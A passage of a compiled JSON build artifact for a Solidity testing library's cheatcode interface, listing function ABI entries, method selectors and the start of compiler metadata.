":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeUint","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeUint","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"uint256[]","internalType":"uint256[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"setEnv","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"value","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"sign","inputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]},{"name":"digest","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"v","type":"uint8","internalType":"uint8"},{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"stateMutability":"nonpayable"},{"type":"function","name":"sign","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"},{"name":"digest","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"v","type":"uint8","internalType":"uint8"},{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"signP256","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"},{"name":"digest","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"sleep","inputs":[{"name":"duration","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"split","inputs":[{"name":"input","type":"string","internalType":"string"},{"name":"delimiter","type":"string","internalType":"string"}],"outputs":[{"name":"outputs","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"startBroadcast","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startBroadcast","inputs":[{"name":"signer","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startBroadcast","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startMappingRecording","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"startStateDiffRecording","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"stopAndReturnStateDiff","inputs":[],"outputs":[{"name":"accountAccesses","type":"tuple[]","internalType":"struct VmSafe.AccountAccess[]","components":[{"name":"chainInfo","type":"tuple","internalType":"struct VmSafe.ChainInfo","components":[{"name":"forkId","type":"uint256","internalType":"uint256"},{"name":"chainId","type":"uint256","internalType":"uint256"}]},{"name":"kind","type":"uint8","internalType":"enum VmSafe.AccountAccessKind"},{"name":"account","type":"address","internalType":"address"},{"name":"accessor","type":"address","internalType":"address"},{"name":"initialized","type":"bool","internalType":"bool"},{"name":"oldBalance","type":"uint256","internalType":"uint256"},{"name":"newBalance","type":"uint256","internalType":"uint256"},{"name":"deployedCode","type":"bytes","internalType":"bytes"},{"name":"value","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"reverted","type":"bool","internalType":"bool"},{"name":"storageAccesses","type":"tuple[]","internalType":"struct VmSafe.StorageAccess[]","components":[{"name":"account","type":"address","internalType":"address"},{"name":"slot","type":"bytes32","internalType":"bytes32"},{"name":"isWrite","type":"bool","internalType":"bool"},{"name":"previousValue","type":"bytes32","internalType":"bytes32"},{"name":"newValue","type":"bytes32","internalType":"bytes32"},{"name":"reverted","type":"bool","internalType":"bool"}]},{"name":"depth","type":"uint64","internalType":"uint64"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"stopBroadcast","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"stopMappingRecording","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"toBase64","inputs":[{"name":"data","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toBase64","inputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toBase64URL","inputs":[{"name":"data","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toBase64URL","inputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toLowercase","inputs":[{"name":"input","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"address","internalType":"address"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"bool","internalType":"bool"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"int256","internalType":"int256"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toString","inputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"toUppercase","inputs":[{"name":"input","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"trim","inputs":[{"name":"input","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"tryFfi","inputs":[{"name":"commandInput","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"result","type":"tuple","internalType":"struct VmSafe.FfiResult","components":[{"name":"exitCode","type":"int32","internalType":"int32"},{"name":"stdout","type":"bytes","internalType":"bytes"},{"name":"stderr","type":"bytes","internalType":"bytes"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"unixTime","inputs":[],"outputs":[{"name":"milliseconds","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"writeFile","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"data","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeFileBinary","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeLine","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"data","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeToml","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"writeToml","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"accesses(address)":"65bc9481","addr(uint256)":"ffa18649","assertApproxEqAbs(int256,int256,uint256)":"240f839d","assertApproxEqAbs(int256,int256,uint256,string)":"8289e621","assertApproxEqAbs(uint256,uint256,uint256)":"16d207c6","assertApproxEqAbs(uint256,uint256,uint256,string)":"f710b062","assertApproxEqAbsDecimal(int256,int256,uint256,uint256)":"3d5bc8bc","assertApproxEqAbsDecimal(int256,int256,uint256,uint256,string)":"6a5066d4","assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256)":"045c55ce","assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256,string)":"60429eb2","assertApproxEqRel(int256,int256,uint256)":"fea2d14f","assertApproxEqRel(int256,int256,uint256,string)":"ef277d72","assertApproxEqRel(uint256,uint256,uint256)":"8cf25ef4","assertApproxEqRel(uint256,uint256,uint256,string)":"1ecb7d33","assertApproxEqRelDecimal(int256,int256,uint256,uint256)":"abbf21cc","assertApproxEqRelDecimal(int256,int256,uint256,uint256,string)":"fccc11c4","assertApproxEqRelDecimal(uint256,uint256,uint256,uint256)":"21ed2977","assertApproxEqRelDecimal(uint256,uint256,uint256,uint256,string)":"82d6c8fd","assertEq(address,address)":"515361f6","assertEq(address,address,string)":"2f2769d1","assertEq(address[],address[])":"3868ac34","assertEq(address[],address[],string)":"3e9173c5","assertEq(bool,bool)":"f7fe3477","assertEq(bool,bool,string)":"4db19e7e","assertEq(bool[],bool[])":"707df785","assertEq(bool[],bool[],string)":"e48a8f8d","assertEq(bytes,bytes)":"97624631","assertEq(bytes,bytes,string)":"e24fed00","assertEq(bytes32,bytes32)":"7c84c69b","assertEq(bytes32,bytes32,string)":"c1fa1ed0","assertEq(bytes32[],bytes32[])":"0cc9ee84","assertEq(bytes32[],bytes32[],string)":"e03e9177","assertEq(bytes[],bytes[])":"e5fb9b4a","assertEq(bytes[],bytes[],string)":"f413f0b6","assertEq(int256,int256)":"fe74f05b","assertEq(int256,int256,string)":"714a2f13","assertEq(int256[],int256[])":"711043ac","assertEq(int256[],int256[],string)":"191f1b30","assertEq(string,string)":"f320d963","assertEq(string,string,string)":"36f656d8","assertEq(string[],string[])":"cf1c049c","assertEq(string[],string[],string)":"eff6b27d","assertEq(uint256,uint256)":"98296c54","assertEq(uint256,uint256,string)":"88b44c85","assertEq(uint256[],uint256[])":"975d5a12","assertEq(uint256[],uint256[],string)":"5d18c73a","assertEqDecimal(int256,int256,uint256)":"48016c04","assertEqDecimal(int256,int256,uint256,string)":"7e77b0c5","assertEqDecimal(uint256,uint256,uint256)":"27af7d9c","assertEqDecimal(uint256,uint256,uint256,string)":"d0cbbdef","assertFalse(bool)":"a5982885","assertFalse(bool,string)":"7ba04809","assertGe(int256,int256)":"0a30b771","assertGe(int256,int256,string)":"a84328dd","assertGe(uint256,uint256)":"a8d4d1d9","assertGe(uint256,uint256,string)":"e25242c0","assertGeDecimal(int256,int256,uint256)":"dc28c0f1","assertGeDecimal(int256,int256,uint256,string)":"5df93c9b","assertGeDecimal(uint256,uint256,uint256)":"3d1fe08a","assertGeDecimal(uint256,uint256,uint256,string)":"8bff9133","assertGt(int256,int256)":"5a362d45","assertGt(int256,int256,string)":"f8d33b9b","assertGt(uint256,uint256)":"db07fcd2","assertGt(uint256,uint256,string)":"d9a3c4d2","assertGtDecimal(int256,int256,uint256)":"78611f0e","assertGtDecimal(int256,int256,uint256,string)":"04a5c7ab","assertGtDecimal(uint256,uint256,uint256)":"eccd2437","assertGtDecimal(uint256,uint256,uint256,string)":"64949a8d","assertLe(int256,int256)":"95fd154e","assertLe(int256,int256,string)":"4dfe692c","assertLe(uint256,uint256)":"8466f415","assertLe(uint256,uint256,string)":"d17d4b0d","assertLeDecimal(int256,int256,uint256)":"11d1364a","assertLeDecimal(int256,int256,uint256,string)":"aa5cf788","assertLeDecimal(uint256,uint256,uint256)":"c304aab7","assertLeDecimal(uint256,uint256,uint256,string)":"7fefbbe0","assertLt(int256,int256)":"3e914080","assertLt(int256,int256,string)":"9ff531e3","assertLt(uint256,uint256)":"b12fc005","assertLt(uint256,uint256,string)":"65d5c135","assertLtDecimal(int256,int256,uint256)":"dbe8d88b","assertLtDecimal(int256,int256,uint256,string)":"40f0b4e0","assertLtDecimal(uint256,uint256,uint256)":"2077337e","assertLtDecimal(uint256,uint256,uint256,string)":"a972d037","assertNotEq(address,address)":"b12e1694","assertNotEq(address,address,string)":"8775a591","assertNotEq(address[],address[])":"46d0b252","assertNotEq(address[],address[],string)":"72c7e0b5","assertNotEq(bool,bool)":"236e4d66","assertNotEq(bool,bool,string)":"1091a261","assertNotEq(bool[],bool[])":"286fafea","assertNotEq(bool[],bool[],string)":"62c6f9fb","assertNotEq(bytes,bytes)":"3cf78e28","assertNotEq(bytes,bytes,string)":"9507540e","assertNotEq(bytes32,bytes32)":"898e83fc","assertNotEq(bytes32,bytes32,string)":"b2332f51","assertNotEq(bytes32[],bytes32[])":"0603ea68","assertNotEq(bytes32[],bytes32[],string)":"b873634c","assertNotEq(bytes[],bytes[])":"edecd035","assertNotEq(bytes[],bytes[],string)":"1dcd1f68","assertNotEq(int256,int256)":"f4c004e3","assertNotEq(int256,int256,string)":"4724c5b9","assertNotEq(int256[],int256[])":"0b72f4ef","assertNotEq(int256[],int256[],string)":"d3977322","assertNotEq(string,string)":"6a8237b3","assertNotEq(string,string,string)":"78bdcea7","assertNotEq(string[],string[])":"bdfacbe8","assertNotEq(string[],string[],string)":"b67187f3","assertNotEq(uint256,uint256)":"b7909320","assertNotEq(uint256,uint256,string)":"98f9bdbd","assertNotEq(uint256[],uint256[])":"56f29cba","assertNotEq(uint256[],uint256[],string)":"9a7fbd8f","assertNotEqDecimal(int256,int256,uint256)":"14e75680","assertNotEqDecimal(int256,int256,uint256,string)":"33949f0b","assertNotEqDecimal(uint256,uint256,uint256)":"669efca7","assertNotEqDecimal(uint256,uint256,uint256,string)":"f5a55558","assertTrue(bool)":"0c9fd581","assertTrue(bool,string)":"a34edc03","assume(bool)":"4c63e562","breakpoint(string)":"f0259e92","breakpoint(string,bool)":"f7d39a8d","broadcast()":"afc98040","broadcast(address)":"e6962cdb","broadcast(uint256)":"f67a965b","closeFile(string)":"48c3241f","computeCreate2Address(bytes32,bytes32)":"890c283b","computeCreate2Address(bytes32,bytes32,address)":"d323826a","computeCreateAddress(address,uint256)":"74637a7a","copyFile(string,string)":"a54a87d8","createDir(string,bool)":"168b64d3","createWallet(string)":"7404f1d2","createWallet(uint256)":"7a675bb6","createWallet(uint256,string)":"ed7c5462","deriveKey(string,string,uint32)":"6bcb2c1b","deriveKey(string,string,uint32,string)":"29233b1f","deriveKey(string,uint32)":"6229498b","deriveKey(string,uint32,string)":"32c8176d","envAddress(string)":"350d56bf","envAddress(string,string)":"ad31b9fa","envBool(string)":"7ed1ec7d","envBool(string,string)":"aaaddeaf","envBytes(string)":"4d7baf06","envBytes(string,string)":"ddc2651b","envBytes32(string)":"97949042","envBytes32(string,string)":"5af231c1","envInt(string)":"892a0c61","envInt(string,string)":"42181150","envOr(string,address)":"561fe540","envOr(string,bool)":"4777f3cf","envOr(string,bytes)":"b3e47705","envOr(string,bytes32)":"b4a85892","envOr(string,int256)":"bbcb713e","envOr(string,string)":"d145736c","envOr(string,string,address[])":"c74e9deb","envOr(string,string,bool[])":"eb85e83b","envOr(string,string,bytes32[])":"2281f367","envOr(string,string,bytes[])":"64bc3e64","envOr(string,string,int256[])":"4700d74b","envOr(string,string,string[])":"859216bc","envOr(string,string,uint256[])":"74318528","envOr(string,uint256)":"5e97348f","envString(string)":"f877cb19","envString(string,string)":"14b02bc9","envUint(string)":"c1978d1f","envUint(string,string)":"f3dec099","eth_getLogs(uint256,uint256,address,bytes32[])":"35e1349b","exists(string)":"261a323e","ffi(string[])":"89160467","fsMetadata(string)":"af368a08","getBlockNumber()":"42cbb15c","getBlockTimestamp()":"796b89b9","getCode(string)":"8d1cc925","getDeployedCode(string)":"3ebf73b4","getLabel(address)":"28a249b0","getMappingKeyAndParentOf(address,bytes32)":"876e24e6","getMappingLength(address,bytes32)":"2f2fd63f","getMappingSlotAt(address,bytes32,uint256)":"ebc73ab4","getNonce((address,uint256,uint256,uint256))":"a5748aad","getNonce(address)":"2d0335ab","getRecordedLogs()":"191553a4","isDir(string)":"7d15d019","isFile(string)":"e0eb04d4","keyExists(string,string)":"528a683c","keyExistsJson(string,string)":"db4235f6","keyExistsToml(string,string)":"600903ad","label(address,string)":"c657c718","load(address,bytes32)":"667f9d70","parseAddress(string)":"c6ce059d","parseBool(string)":"974ef924","parseBytes(string)":"8f5d232d","parseBytes32(string)":"087e6e81","parseInt(string)":"42346c5e","parseJson(string)":"6a82600a","parseJson(string,string)":"85940ef1","parseJsonAddress(string,string)":"1e19e657","parseJsonAddressArray(string,string)":"2fce7883","parseJsonBool(string,string)":"9f86dc91","parseJsonBoolArray(string,string)":"91f3b94f","parseJsonBytes(string,string)":"fd921be8","parseJsonBytes32(string,string)":"1777e59d","parseJsonBytes32Array(string,string)":"91c75bc3","parseJsonBytesArray(string,string)":"6631aa99","parseJsonInt(string,string)":"7b048ccd","parseJsonIntArray(string,string)":"9983c28a","parseJsonKeys(string,string)":"213e4198","parseJsonString(string,string)":"49c4fac8","parseJsonStringArray(string,string)":"498fdcf4","parseJsonUint(string,string)":"addde2b6","parseJsonUintArray(string,string)":"522074ab","parseToml(string)":"592151f0","parseToml(string,string)":"37736e08","parseTomlAddress(string,string)":"65e7c844","parseTomlAddressArray(string,string)":"65c428e7","parseTomlBool(string,string)":"d30dced6","parseTomlBoolArray(string,string)":"127cfe9a","parseTomlBytes(string,string)":"d77bfdb9","parseTomlBytes32(string,string)":"8e214810","parseTomlBytes32Array(string,string)":"3e716f81","parseTomlBytesArray(string,string)":"b197c247","parseTomlInt(string,string)":"c1350739","parseTomlIntArray(string,string)":"d3522ae6","parseTomlKeys(string,string)":"812a44b2","parseTomlString(string,string)":"8bb8dd43","parseTomlStringArray(string,string)":"9f629281","parseTomlUint(string,string)":"cc7b0487","parseTomlUintArray(string,string)":"b5df27c8","parseUint(string)":"fa91454d","pauseGasMetering()":"d1a5b36f","projectRoot()":"d930a0e6","readDir(string)":"c4bc59e0","readDir(string,uint64)":"1497876c","readDir(string,uint64,bool)":"8102d70d","readFile(string)":"60f9bb11","readFileBinary(string)":"16ed7bc4","readLine(string)":"70f55728","readLink(string)":"9f5684a2","record()":"266cf109","recordLogs()":"41af2f52","rememberKey(uint256)":"22100064","removeDir(string,bool)":"45c62011","removeFile(string)":"f1afe04d","replace(string,string,string)":"e00ad03e","resumeGasMetering()":"2bcd50e0","rpc(string,string)":"1206c8a8","rpcUrl(string)":"975a6ce9","rpcUrlStructs()":"9d2ad72a","rpcUrls()":"a85a8418","serializeAddress(string,string,address)":"972c6062","serializeAddress(string,string,address[])":"1e356e1a","serializeBool(string,string,bool)":"ac22e971","serializeBool(string,string,bool[])":"92925aa1","serializeBytes(string,string,bytes)":"f21d52c7","serializeBytes(string,string,bytes[])":"9884b232","serializeBytes32(string,string,bytes32)":"2d812b44","serializeBytes32(string,string,bytes32[])":"201e43e2","serializeInt(string,string,int256)":"3f33db60","serializeInt(string,string,int256[])":"7676e127","serializeJson(string,string)":"9b3358b0","serializeString(string,string,string)":"88da6d35","serializeString(string,string,string[])":"561cd6f3","serializeUint(string,string,uint256)":"129e9002","serializeUint(string,string,uint256[])":"fee9a469","setEnv(string,string)":"3d5923ee","sign((address,uint256,uint256,uint256),bytes32)":"b25c5a25","sign(uint256,bytes32)":"e341eaa4","signP256(uint256,bytes32)":"83211b40","sleep(uint256)":"fa9d8713","split(string,string)":"8bb75533","startBroadcast()":"7fb5297f","startBroadcast(address)":"7fec2a8d","startBroadcast(uint256)":"ce817d47","startMappingRecording()":"3e9705c0","startStateDiffRecording()":"cf22e3c9","stopAndReturnStateDiff()":"aa5cf90e","stopBroadcast()":"76eadd36","stopMappingRecording()":"0d4aae9b","toBase64(bytes)":"a5cbfe65","toBase64(string)":"3f8be2c8","toBase64URL(bytes)":"c8bd0e4a","toBase64URL(string)":"ae3165b3","toLowercase(string)":"50bb0884","toString(address)":"56ca623e","toString(bool)":"71dce7da","toString(bytes)":"71aad10d","toString(bytes32)":"b11a19e8","toString(int256)":"a322c40e","toString(uint256)":"6900a3ae","toUppercase(string)":"074ae3d7","trim(string)":"b2dad155","tryFfi(string[])":"f45c1ce7","unixTime()":"625387dc","writeFile(string,string)":"897e0a97","writeFileBinary(string,bytes)":"1f21fc80","writeJson(string,string)":"e23cd19f","writeJson(string,string,string)":"35d6ad46","writeLine(string,string)":"619d897f","writeToml(string,string)":"c0865ba7","writeToml(string,string,string)":"51ac6a33"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"}],\"name\":\"accesses\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"readSlots\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes32[]\",\"name\":\"writeSlots\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"addr\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"keyAddr\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbs\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"left\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes32[]\",\"name\":\"right\",\"type\":\"bytes32[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256[]\",\"name\":\"left\",\"type\":\"int256[]\"},{\"internalType\":\"int256[]\",\"name\":\"right\",\"type\":\"int256[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"left\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"right\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\